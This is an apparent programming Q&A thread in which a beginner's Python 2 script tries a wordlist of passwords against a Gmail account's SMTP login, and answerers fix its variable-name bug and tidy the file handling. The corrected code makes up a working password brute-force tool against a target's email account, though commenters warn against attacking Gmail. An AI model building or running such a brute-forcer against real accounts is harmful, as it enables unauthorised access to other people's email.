0

I'm new to programming, but I'm trying to create the following script. Can you show me what I'm doing wrong?

import smtplib

smtpserver = smtplib.SMTP("smtp.gmail.com", 587)
smtpserver.ehlo()
smtpserver.starttls()

user = raw_input("Enter the target's email address: ")
Passwfile = raw_input("Enter the password file name: ")
Passwfile = open(passwfile, "r")

for password in passwfile:
        try:
                smtpserver.login(user, password)
                print "[+] Password Found: %s" % password
                break;
        except smtplib.SMTPAuthenticationError:
                print "[!] Password Incorrect: %s" % password

When I add my wordlist.lst file, an error message comes up in my terminal saying the following:

File "gmail.py", line 9, in <module>
Passwfile = open(passwfile, "r"
NameError: name 'passwfile' is not defined

Can any experts give me some advice please? I'm using Python 2.7.9 on Kali Linux (Python 2 was pre-installed, so I just decided to learn it instead of try Python 3.)

Jonathan Leffler
  • 730,956
  • 141
  • 904
  • 1,278
Rusty Flick
  • 31
  • 1
  • 8
  • 2
    Because it is case sensitive Passwfile != passwfile, and don't put a break into try statement, you must also read the file's content with `f.read();` – IamK Oct 11 '15 at 00:47
  • 1
    By the way this script looks like a brute force hacking script for gmail accounts :D – IamK Oct 11 '15 at 00:54
  • I'm new to hacking and I'm trying to hack into my own account for the mere purpose of learning how. – Rusty Flick Oct 11 '15 at 01:03
  • @RustyFlick: Yeah, that's a bad idea. Stick exclusively to systems you control or systems specifically set up for the purpose; Gmail doesn't fall under one of those categories, even if it's your own account you're targeting. – user2357112 Oct 11 '15 at 01:13
  • Yeah, you're right. I think I should learn it now, and wait until I control/have permission over a system – Rusty Flick Oct 11 '15 at 01:28

2 Answers2

3

There is no variable named passwfile defined. There is, however, one named Passwfile (note the capitalisation) which is the one that you should use because identifiers are case sensitive in Python.

Note that in Python the convention is to use all lower-case for variable names. Captialised identifiers are normally used for class names. So your code could read:

user = raw_input("Enter the target's email address: ")
password_filename = raw_input("Enter the password file name: ")
password_file = open(password_filename, "r")

for password in password_file:

for example.

For further information about identifiers and other issues of style refer to PEP 8. Here it recommends that variables be underscore separated lowercase words, so prefer password_file over passwfile for example.

Another useful tip is to open files within a context manager by using the with statement:

user = raw_input("Enter the target's email address: ")
password_filename = raw_input("Enter the password file name: ")

with open(password_filename) as password_file:
    for password in password_file:
        # nasty stuff here

The context manager will ensure that the file is always closed properly if, for example, there is an unhandled exception.

Finally, use this for good, not evil :)

mhawke
  • 84,695
  • 9
  • 117
  • 138
  • Thank you guys so much, I will try this solution. And thanks for explaining it to me!! :) I want to learn it, not just copy/paste. – Rusty Flick Oct 11 '15 at 00:54
  • I will try this new solution now. Also, you said "use this for good, not evil" I'll note that I am new to hacking and I'm only hacking into my OWN email account for the mere purpose of learning how, no more than that. :) – Rusty Flick Oct 11 '15 at 01:07
  • @C1sc0: you can iterate over the lines in a file within a for loop using the file handle as shown. That should not be a problem. – mhawke Oct 11 '15 at 01:08
  • Although it is no longer capitalized, here is the error I receive: File "gmail.py", line 9, in Passwfile = open(passwfile, "r") NameError: name 'passwfile' is not defined – Rusty Flick Oct 11 '15 at 01:10
  • The error still indicates that `passwfile` is not defined. You are still using `Passwfile` as the name for the file handle, so presumably you are still using it for the name of the file entered by the user. – mhawke Oct 11 '15 at 01:16
  • I replaced it though, just as C1sc0 said. So, I copied the script, moved file to trash, and in a terminal typed "pico gmail.py" , made the file executable. and now the new code wont even run? – Rusty Flick Oct 11 '15 at 01:18
  • I predict a short hacking career for you :) – mhawke Oct 11 '15 at 01:20
  • Why is that? I'm only about 3 days into hacking. I'm just trying to learn. – Rusty Flick Oct 11 '15 at 01:23
0

check the line

Passwfile = raw_input("Enter the password file name: ")

Here you are storing raw_input in a variable Passwfile (P in upper case)

kmad1729
  • 1,484
  • 1
  • 16
  • 20